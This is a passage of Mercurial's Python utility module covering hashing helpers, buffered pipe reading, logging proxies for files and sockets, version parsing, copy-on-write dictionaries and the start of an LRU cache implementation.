 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 posixfile = platform.posixfile
 readlink = platform.readlink
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setflags = platform.setflags
 split = platform.split
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 # small compat layer
 compengines = compression.compengines
 SERVERROLE = compression.SERVERROLE
 CLIENTROLE = compression.CLIENTROLE
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 
 # Python compatibility
 
 _notset = object()
 
 
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
     warnings.filterwarnings('default', '', DeprecationWarning, 'mercurial')
     warnings.filterwarnings('default', '', DeprecationWarning, 'hgext')
     warnings.filterwarnings('default', '', DeprecationWarning, 'hgext3rd')
 if _dowarn and pycompat.ispy3:
     # silence warning emitted by passing user string to re.sub()
     warnings.filterwarnings(
         'ignore', 'bad escape', DeprecationWarning, 'mercurial'
     )
     warnings.filterwarnings(
         'ignore', 'invalid escape sequence', DeprecationWarning, 'mercurial'
     )
     # TODO: reinvent imp.is_frozen()
     warnings.filterwarnings(
         'ignore',
         'the imp module is deprecated',
         DeprecationWarning,
         'mercurial',
     )
 
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += (
             b"\n(compatibility will be dropped after Mercurial-%s,"
             b" update your code.)"
         ) % version
         warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
 
 
 DIGESTS = {
     b'md5': hashlib.md5,
     b'sha1': hashlib.sha1,
     b'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester([b'md5', b'sha1'])
     >>> d.update(b'foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d[b'md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d[b'sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred([b'md5', b'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=b''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
                 raise error.Abort(_(b'unknown digest type: %s') % k)
             self._hashes[k] = DIGESTS[k]()
         if s:
             self.update(s)
 
     def update(self, data):
         for h in self._hashes.values():
             h.update(data)
 
     def __getitem__(self, key):
         if key not in DIGESTS:
             raise error.Abort(_(b'unknown digest type: %s') % k)
         return nodemod.hex(self._hashes[key].digest())
 
     def __iter__(self):
         return iter(self._hashes)
 
     @staticmethod
     def preferred(supported):
         """returns the strongest digest type in both supported and DIGESTS."""
 
         for k in DIGESTS_BY_STRENGTH:
             if k in supported:
                 return k
         return None
 
 
 class digestchecker(object):
     """file handle wrapper that additionally checks content against a given
     size and digests.
 
         d = digestchecker(fh, size, {'md5': '...'})
 
     When multiple digests are given, all of them are validated.
     """
 
     def __init__(self, fh, size, digests):
         self._fh = fh
         self._size = size
         self._got = 0
         self._digests = dict(digests)
         self._digester = digester(self._digests.keys())
 
     def read(self, length=-1):
         content = self._fh.read(length)
         self._digester.update(content)
         self._got += len(content)
         return content
 
     def validate(self):
         if self._size != self._got:
             raise error.Abort(
                 _(b'size mismatch: expected %d, got %d')
                 % (self._size, self._got)
             )
         for k, v in self._digests.items():
             if v != self._digester[k]:
                 # i18n: first parameter is a digest name
                 raise error.Abort(
                     _(b'%s mismatch: expected %s, got %s')
                     % (k, v, self._digester[k])
                 )
 
 
 try:
     buffer = buffer
 except NameError:
 
     def buffer(sliceable, offset=0, length=None):
         if length is not None:
             return memoryview(sliceable)[offset : offset + length]
         return memoryview(sliceable)[offset:]
 
 
 _chunksize = 4096
 
 
 class bufferedinputpipe(object):
     """a manually buffered input pipe
 
     Python will not let us use buffered IO and lazy reading with 'polling' at
     the same time. We cannot probe the buffer state and select will not detect
     that data are ready to read if they are already buffered.
 
     This class let us work around that by implementing its own buffering
     (allowing efficient readline) while offering a way to know if the buffer is
     empty from the output (allowing collaboration of the buffer with polling).
 
     This class lives in the 'util' module because it makes use of the 'os'
     module from the python stdlib.
     """
 
     def __new__(cls, fh):
         # If we receive a fileobjectproxy, we need to use a variation of this
         # class that notifies observers about activity.
         if isinstance(fh, fileobjectproxy):
             cls = observedbufferedinputpipe
 
         return super(bufferedinputpipe, cls).__new__(cls)
 
     def __init__(self, input):
         self._input = input
         self._buffer = []
         self._eof = False
         self._lenbuf = 0
 
     @property
     def hasbuffer(self):
         """True is any data is currently buffered
 
         This will be used externally a pre-step for polling IO. If there is
         already data then no polling should be set in place."""
         return bool(self._buffer)
 
     @property
     def closed(self):
         return self._input.closed
 
     def fileno(self):
         return self._input.fileno()
 
     def close(self):
         return self._input.close()
 
     def read(self, size):
         while (not self._eof) and (self._lenbuf < size):
             self._fillbuffer()
         return self._frombuffer(size)
 
     def unbufferedread(self, size):
         if not self._eof and self._lenbuf == 0:
             self._fillbuffer(max(size, _chunksize))
         return self._frombuffer(min(self._lenbuf, size))
 
     def readline(self, *args, **kwargs):
         if len(self._buffer) > 1:
             # this should not happen because both read and readline end with a
             # _frombuffer call that collapse it.
             self._buffer = [b''.join(self._buffer)]
             self._lenbuf = len(self._buffer[0])
         lfi = -1
         if self._buffer:
             lfi = self._buffer[-1].find(b'\n')
         while (not self._eof) and lfi < 0:
             self._fillbuffer()
             if self._buffer:
                 lfi = self._buffer[-1].find(b'\n')
         size = lfi + 1
         if lfi < 0:  # end of file
             size = self._lenbuf
         elif len(self._buffer) > 1:
             # we need to take previous chunks into account
             size += self._lenbuf - len(self._buffer[-1])
         return self._frombuffer(size)
 
     def _frombuffer(self, size):
         """return at most 'size' data from the buffer
 
         The data are removed from the buffer."""
         if size == 0 or not self._buffer:
             return b''
         buf = self._buffer[0]
         if len(self._buffer) > 1:
             buf = b''.join(self._buffer)
 
         data = buf[:size]
         buf = buf[len(data) :]
         if buf:
             self._buffer = [buf]
             self._lenbuf = len(buf)
         else:
             self._buffer = []
             self._lenbuf = 0
         return data
 
     def _fillbuffer(self, size=_chunksize):
         """read data to the buffer"""
         data = os.read(self._input.fileno(), size)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
 
         return data
 
 
 def mmapread(fp):
     try:
         fd = getattr(fp, 'fileno', lambda: fp)()
         return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
     except ValueError:
         # Empty files cannot be mmapped, but mmapread should still work.  Check
         # if the file is empty, and if so, return an empty buffer.
         if os.fstat(fd).st_size == 0:
             return b''
         raise
 
 
 class fileobjectproxy(object):
     """A proxy around file objects that tells a watcher when events occur.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
 
     __slots__ = (
         '_orig',
         '_observer',
     )
 
     def __init__(self, fh, observer):
         object.__setattr__(self, '_orig', fh)
         object.__setattr__(self, '_observer', observer)
 
     def __getattribute__(self, name):
         ours = {
             '_observer',
             # IOBase
             'close',
             # closed if a property
             'fileno',
             'flush',
             'isatty',
             'readable',
             'readline',
             'readlines',
             'seek',
             'seekable',
             'tell',
             'truncate',
             'writable',
             'writelines',
             # RawIOBase
             'read',
             'readall',
             'readinto',
             'write',
             # BufferedIOBase
             # raw is a property
             'detach',
             # read defined above
             'read1',
             # readinto defined above
             # write defined above
         }
 
         # We only observe some methods.
         if name in ours:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, '_orig'), name)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, '_orig'))
 
     __bool__ = __nonzero__
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, '_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, '_orig'), name, value)
 
     def __iter__(self):
         return object.__getattribute__(self, '_orig').__iter__()
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, '_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, '_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def close(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'close', *args, **kwargs
         )
 
     def fileno(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'fileno', *args, **kwargs
         )
 
     def flush(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'flush', *args, **kwargs
         )
 
     def isatty(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'isatty', *args, **kwargs
         )
 
     def readable(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readable', *args, **kwargs
         )
 
     def readline(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readline', *args, **kwargs
         )
 
     def readlines(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readlines', *args, **kwargs
         )
 
     def seek(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'seek', *args, **kwargs
         )
 
     def seekable(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'seekable', *args, **kwargs
         )
 
     def tell(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'tell', *args, **kwargs
         )
 
     def truncate(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'truncate', *args, **kwargs
         )
 
     def writable(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'writable', *args, **kwargs
         )
 
     def writelines(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'writelines', *args, **kwargs
         )
 
     def read(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'read', *args, **kwargs
         )
 
     def readall(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readall', *args, **kwargs
         )
 
     def readinto(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'readinto', *args, **kwargs
         )
 
     def write(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'write', *args, **kwargs
         )
 
     def detach(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'detach', *args, **kwargs
         )
 
     def read1(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'read1', *args, **kwargs
         )
 
 
 class observedbufferedinputpipe(bufferedinputpipe):
     """A variation of bufferedinputpipe that is aware of fileobjectproxy.
 
     ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
     bypass ``fileobjectproxy``. Because of this, we need to make
     ``bufferedinputpipe`` aware of these operations.
 
     This variation of ``bufferedinputpipe`` can notify observers about
     ``os.read()`` events. It also re-publishes other events, such as
     ``read()`` and ``readline()``.
     """
 
     def _fillbuffer(self):
         res = super(observedbufferedinputpipe, self)._fillbuffer()
 
         fn = getattr(self._input._observer, 'osread', None)
         if fn:
             fn(res, _chunksize)
 
         return res
 
     # We use different observer methods because the operation isn't
     # performed on the actual file object but on us.
     def read(self, size):
         res = super(observedbufferedinputpipe, self).read(size)
 
         fn = getattr(self._input._observer, 'bufferedread', None)
         if fn:
             fn(res, size)
 
         return res
 
     def readline(self, *args, **kwargs):
         res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
 
         fn = getattr(self._input._observer, 'bufferedreadline', None)
         if fn:
             fn(res)
 
         return res
 
 
 PROXIED_SOCKET_METHODS = {
     'makefile',
     'recv',
     'recvfrom',
     'recvfrom_into',
     'recv_into',
     'send',
     'sendall',
     'sendto',
     'setblocking',
     'settimeout',
     'gettimeout',
     'setsockopt',
 }
 
 
 class socketproxy(object):
     """A proxy around a socket that tells a watcher when events occur.
 
     This is like ``fileobjectproxy`` except for sockets.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
 
     __slots__ = (
         '_orig',
         '_observer',
     )
 
     def __init__(self, sock, observer):
         object.__setattr__(self, '_orig', sock)
         object.__setattr__(self, '_observer', observer)
 
     def __getattribute__(self, name):
         if name in PROXIED_SOCKET_METHODS:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, '_orig'), name)
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, '_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, '_orig'), name, value)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, '_orig'))
 
     __bool__ = __nonzero__
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, '_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, '_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def makefile(self, *args, **kwargs):
         res = object.__getattribute__(self, '_observedcall')(
             'makefile', *args, **kwargs
         )
 
         # The file object may be used for I/O. So we turn it into a
         # proxy using our observer.
         observer = object.__getattribute__(self, '_observer')
         return makeloggingfileobject(
             observer.fh,
             res,
             observer.name,
             reads=observer.reads,
             writes=observer.writes,
             logdata=observer.logdata,
             logdataapis=observer.logdataapis,
         )
 
     def recv(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recv', *args, **kwargs
         )
 
     def recvfrom(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recvfrom', *args, **kwargs
         )
 
     def recvfrom_into(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recvfrom_into', *args, **kwargs
         )
 
     def recv_into(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'recv_info', *args, **kwargs
         )
 
     def send(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'send', *args, **kwargs
         )
 
     def sendall(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'sendall', *args, **kwargs
         )
 
     def sendto(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'sendto', *args, **kwargs
         )
 
     def setblocking(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'setblocking', *args, **kwargs
         )
 
     def settimeout(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'settimeout', *args, **kwargs
         )
 
     def gettimeout(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'gettimeout', *args, **kwargs
         )
 
     def setsockopt(self, *args, **kwargs):
         return object.__getattribute__(self, '_observedcall')(
             'setsockopt', *args, **kwargs
         )
 
 
 class baseproxyobserver(object):
     def _writedata(self, data):
         if not self.logdata:
             if self.logdataapis:
                 self.fh.write(b'\n')
                 self.fh.flush()
             return
 
         # Simple case writes all data on a single line.
         if b'\n' not in data:
             if self.logdataapis:
                 self.fh.write(b': %s\n' % stringutil.escapestr(data))
             else:
                 self.fh.write(
                     b'%s>     %s\n' % (self.name, stringutil.escapestr(data))
                 )
             self.fh.flush()
             return
 
         # Data with newlines is written to multiple lines.
         if self.logdataapis:
             self.fh.write(b':\n')
 
         lines = data.splitlines(True)
         for line in lines:
             self.fh.write(
                 b'%s>     %s\n' % (self.name, stringutil.escapestr(line))
             )
         self.fh.flush()
 
 
 class fileobjectobserver(baseproxyobserver):
     """Logs file object activity."""
 
     def __init__(
         self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
     ):
         self.fh = fh
         self.name = name
         self.logdata = logdata
         self.logdataapis = logdataapis
         self.reads = reads
         self.writes = writes
 
     def read(self, res, size=-1):
         if not self.reads:
             return
         # Python 3 can return None from reads at EOF instead of empty strings.
         if res is None:
             res = b''
 
         if size == -1 and res == b'':
             # Suppress pointless read(-1) calls that return
             # nothing. These happen _a lot_ on Python 3, and there
             # doesn't seem to be a better workaround to have matching
             # Python 2 and 3 behavior. :(
             return
 
         if self.logdataapis:
             self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
 
         self._writedata(res)
 
     def readline(self, res, limit=-1):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
 
         self._writedata(res)
 
     def readinto(self, res, dest):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
             )
 
         data = dest[0:res] if res is not None else b''
 
         # _writedata() uses "in" operator and is confused by memoryview because
         # characters are ints on Python 3.
         if isinstance(data, memoryview):
             data = data.tobytes()
 
         self._writedata(data)
 
     def write(self, res, data):
         if not self.writes:
             return
 
         # Python 2 returns None from some write() calls. Python 3 (reasonably)
         # returns the integer bytes written.
         if res is None and data:
             res = len(data)
 
         if self.logdataapis:
             self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
 
         self._writedata(data)
 
     def flush(self, res):
         if not self.writes:
             return
 
         self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
 
     # For observedbufferedinputpipe.
     def bufferedread(self, res, size):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
             )
 
         self._writedata(res)
 
     def bufferedreadline(self, res):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
             )
 
         self._writedata(res)
 
 
 def makeloggingfileobject(
     logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
 ):
     """Turn a file object into a logging file object."""
 
     observer = fileobjectobserver(
         logh,
         name,
         reads=reads,
         writes=writes,
         logdata=logdata,
         logdataapis=logdataapis,
     )
     return fileobjectproxy(fh, observer)
 
 
 class socketobserver(baseproxyobserver):
     """Logs socket activity."""
 
     def __init__(
         self,
         fh,
         name,
         reads=True,
         writes=True,
         states=True,
         logdata=False,
         logdataapis=True,
     ):
         self.fh = fh
         self.name = name
         self.reads = reads
         self.writes = writes
         self.states = states
         self.logdata = logdata
         self.logdataapis = logdataapis
 
     def makefile(self, res, mode=None, bufsize=None):
         if not self.states:
             return
 
         self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
 
     def recv(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
             )
         self._writedata(res)
 
     def recvfrom(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recvfrom(%d, %d) -> %d'
                 % (self.name, size, flags, len(res[0]))
             )
 
         self._writedata(res[0])
 
     def recvfrom_into(self, res, buf, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recvfrom_into(%d, %d) -> %d'
                 % (self.name, size, flags, res[0])
             )
 
         self._writedata(buf[0 : res[0]])
 
     def recv_into(self, res, buf, size=0, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
             )
 
         self._writedata(buf[0:res])
 
     def send(self, res, data, flags=0):
         if not self.writes:
             return
 
         self.fh.write(
             b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
         )
         self._writedata(data)
 
     def sendall(self, res, data, flags=0):
         if not self.writes:
             return
 
         if self.logdataapis:
             # Returns None on success. So don't bother reporting return value.
             self.fh.write(
                 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
             )
 
         self._writedata(data)
 
     def sendto(self, res, data, flagsoraddress, address=None):
         if not self.writes:
             return
 
         if address:
             flags = flagsoraddress
         else:
             flags = 0
 
         if self.logdataapis:
             self.fh.write(
                 b'%s> sendto(%d, %d, %r) -> %d'
                 % (self.name, len(data), flags, address, res)
             )
 
         self._writedata(data)
 
     def setblocking(self, res, flag):
         if not self.states:
             return
 
         self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
 
     def settimeout(self, res, value):
         if not self.states:
             return
 
         self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
 
     def gettimeout(self, res):
         if not self.states:
             return
 
         self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
 
     def setsockopt(self, res, level, optname, value):
         if not self.states:
             return
 
         self.fh.write(
             b'%s> setsockopt(%r, %r, %r) -> %r\n'
             % (self.name, level, optname, value, res)
         )
 
 
 def makeloggingsocket(
     logh,
     fh,
     name,
     reads=True,
     writes=True,
     states=True,
     logdata=False,
     logdataapis=True,
 ):
     """Turn a socket into a logging socket."""
 
     observer = socketobserver(
         logh,
         name,
         reads=reads,
         writes=writes,
         states=states,
         logdata=logdata,
         logdataapis=logdataapis,
     )
     return socketproxy(fh, observer)
 
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
 
         return __version__.version
     except ImportError:
         return b'unknown'
 
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = b'3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = b'3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = b'3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = b'3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
 
     >>> versiontuple(b'4.6rc0')
     (4, 6, None, 'rc0')
     >>> versiontuple(b'4.6rc0+12-425d55e54f98')
     (4, 6, None, 'rc0+12-425d55e54f98')
     >>> versiontuple(b'.1.2.3')
     (None, None, None, '.1.2.3')
     >>> versiontuple(b'12.34..5')
     (12, 34, None, '..5')
     >>> versiontuple(b'1.2.3.4.5.6')
     (1, 2, 3, '.4.5.6')
     """
     if not v:
         v = version()
     m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
     if not m:
         vparts, extra = b'', v
     elif m.group(2):
         vparts, extra = m.groups()
     else:
         vparts, extra = m.group(1), None
 
     vints = []
     for i in vparts.split(b'.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         cache = []
 
         def f():
             if len(cache) == 0:
                 cache.append(func())
             return cache[0]
 
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
 
     else:
 
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 
 class cow(object):
     """helper class to make copy-on-write easier
 
     Call preparewrite before doing any writes.
     """
 
     def preparewrite(self):
         """call this before writes, return self or a copied new object"""
         if getattr(self, '_copied', 0):
             self._copied -= 1
             return self.__class__(self)
         return self
 
     def copy(self):
         """always do a cheap copy"""
         self._copied = getattr(self, '_copied', 0) + 1
         return self
 
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([(b'a', 2)])
     >>> list(d2.keys()) # should still be in last-set order
     ['b', 'a']
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = pycompat.iteritems(src)
             for k, v in src:
                 self[k] = v
 
 
 class cowdict(cow, dict):
     """copy-on-write dict
 
     Be sure to call d = d.preparewrite() before writing to d.
 
     >>> a = cowdict()
     >>> a is a.preparewrite()
     True
     >>> b = a.copy()
     >>> b is a
     True
     >>> c = b.copy()
     >>> c is a
     True
     >>> a = a.preparewrite()
     >>> b is a
     False
     >>> a is a.preparewrite()
     True
     >>> c = c.preparewrite()
     >>> b is c
     False
     >>> b is b.preparewrite()
     True
     """
 
 
 class cowsortdict(cow, sortdict):
     """copy-on-write sortdict
 
     Be sure to call d = d.preparewrite() before writing to d.
     """
 
 
 class transactional(object):  # pytype: disable=ignored-metaclass
     """Base class for making a transactional type into a context manager."""
 
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def close(self):
         """Successfully closes the transaction."""
 
     @abc.abstractmethod
     def release(self):
         """Marks the end of the transaction.
 
         If the transaction has not been closed, it will be aborted.
         """
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_val, exc_tb):
         try:
             if exc_type is None:
                 self.close()
         finally:
             self.release()
 
 
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 
 @contextlib.contextmanager
 def nullcontextmanager():
     yield
 
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
 
     __slots__ = ('next', 'prev', 'key', 'value', 'cost')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
         self.cost = 0
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
         self.value = None
         self.cost = 0
 
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
 
     Items in the cache can be inserted with an optional "cost" value. This is
     simply an integer that is specified by the caller. The cache can be queried
     for the total cost of all items presently in the cache.
 
     The cache can also define a maximum cost. If a cache insertion would
     cause the total cost of the cache to go beyond the maximum cost limit,
     nodes will be evicted to make room for the new code. This can be used
     to e.g. set a max memory limit and associate an estimated bytes size
     cost to each item in the cache. By default, no maximum cost is enforced.
     """
 
     def __init__(self, max, maxcost=0):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self.capacity = max
         self.totalcost = 0
         self.maxcost = maxcost
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def insert(self, k, v, cost=0):
         """Insert a new item in the cache with optional cost value."""
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             self.totalcost -= node.cost
             node.value = v
             node.cost = cost
             self.totalcost += cost
             self._movetohead(node)
 
             if self.maxcost:
                 self._enforcecostlimit()
 
             return
 
         if self._size < self.capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             self.totalcost -= node.cost
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         node.cost = cost
         self.totalcost += cost
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
         if self.maxcost:
             self._enforcecostlimit()
 
     def __setitem__(self, k, v):
         self.insert(k, v)
 
     def __delitem__(self, k):
         self.pop(k)
 
     def pop(self, k, default=_notset):
         try:
             node = self._cache.pop(k)
         except KeyError:
             if default is _notset:
                 raise
             return default
         value = node.value
         self.totalcost -= node.cost
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
         return value
 
     # Additional dict methods.
 
